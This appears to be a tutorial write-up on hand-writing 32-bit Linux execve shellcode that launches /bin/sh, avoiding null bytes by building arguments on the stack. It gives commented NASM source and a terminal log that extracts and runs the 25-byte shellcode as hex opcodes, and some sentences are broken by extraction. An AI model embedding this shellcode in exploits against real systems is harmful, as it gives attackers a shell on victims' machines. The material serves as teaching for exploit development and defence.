The execve SYSCALL
A useful SYSCALL that can help with executing a shell is
Looking at the man page for
execve, there are three main arguments.
SYNOPSIS #include <unistd.h> int execve(const char *filename, char *const argv, char *const envp);
Argument 1 (
*filename): The program that you want to execute.
Argument 2 (
argv): An array of argument strings passed to the program. By convention, the first of these strings should contain the filename associated with the file being executed.
Argument 3 (
envp): The third argument is an array of strings that you can pass in as an additional environment to the program before it is executed. This argument is typically occupied with nulls as it is not used often.
/bin/sh, the first argument,
*filename, should contain a pointer to a string which reads
/bin/sh. The second argument,
argv will contain the memory address for a string that contains
/bin/sh as it’s first element, the second element will be
0x00000000 to null terminate the array. Lastly, the thrid argument,
envp, will contain
Based on the arguments required by
execve, the following general purpose registers will contain the corresponding values:
/bin/sh0x0 - to satisfy the requirements of
ECX: the address of
/bin/sh,0x00000000 - to satisfy the requirements of
0x00000000 - to satisfy the requirements of
execve does require a fair number of null bytes, this is an inconvenience as this would almost certainly prevent the execution of the shellcode. As a result, the Stack can be used to store all of the arguments required by
execve. This is advantageous as memory locations are referenced to the various registers and null bytes themselves are never actually stored in registers.
Things to consider
/bin/sh is 7 bytes, however adding another
/ does not affect the execution of the shell.
//bin/sh is 8 bytes, this alleviates any offset issues that may arise.
At times the Stack can be like the “Upside Down”. Push things on in reverse order, and remember that the Stack is Last in First Out (LIFO). This means that the last thing that was pushed on to the Stack will be pointed to by the Stack pointer register.
;execve //bin/sh global _start section .text _start: xor eax, eax ;zero out eax push eax ;push 00000000 on to the stack push 0x68732f6e ;push hex hs/n on to the stack push 0x69622f2f ;push hex ib// on to the stack ;at this point the stack contains //bin/sh0x00000000 mov ebx, esp ;this satisfies the requirements for *filename (first argument of execve) push eax ;push 00000000 on to the stack ;at this point the stack contains 0x00000000//bin/sh0x00000000 mov edx, esp ;we cant pop 0x00000000 into EDX as the shellcode cannot have any null characters. ;instead we move the current address pointed to by ESP into EDX. ;this address contains the last value pushed on to the stack, which is 0x00000000 ;this satisfies the requirements for envp (third argument of execve) push ebx ;ebx contains the memory address of the stack where //bin/sh0x00000000 is. mov ecx, esp ;this satisfies the requirements for argv (second argument of execve) mov al, 11 ;execve syscall number, 0xb works also. int 0x80 ;initiate
Source code can also be found here.
[email protected]:~/Desktop/code/execve$ ls execve-stack.nasm super-compile.sh [email protected]:~/Desktop/code/execve$ ./super-compile.sh execve-stack [+] Assembling with Nasm [+] Linking [+] Extracting Opcodes "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" [+] Creating Shellcode [+] Compiling Shellcode [+] Done! [email protected]:~/Desktop/code/execve$ ls execve-stack execve-stack.o shellcode-execve-stack.c execve-stack.nasm shellcode-execve-stack super-compile.sh [email protected]:~/Desktop/code/execve$ ./shellcode-execve-stack Shellcode Length: 25 $ exit [email protected]:~/Desktop/code/execve$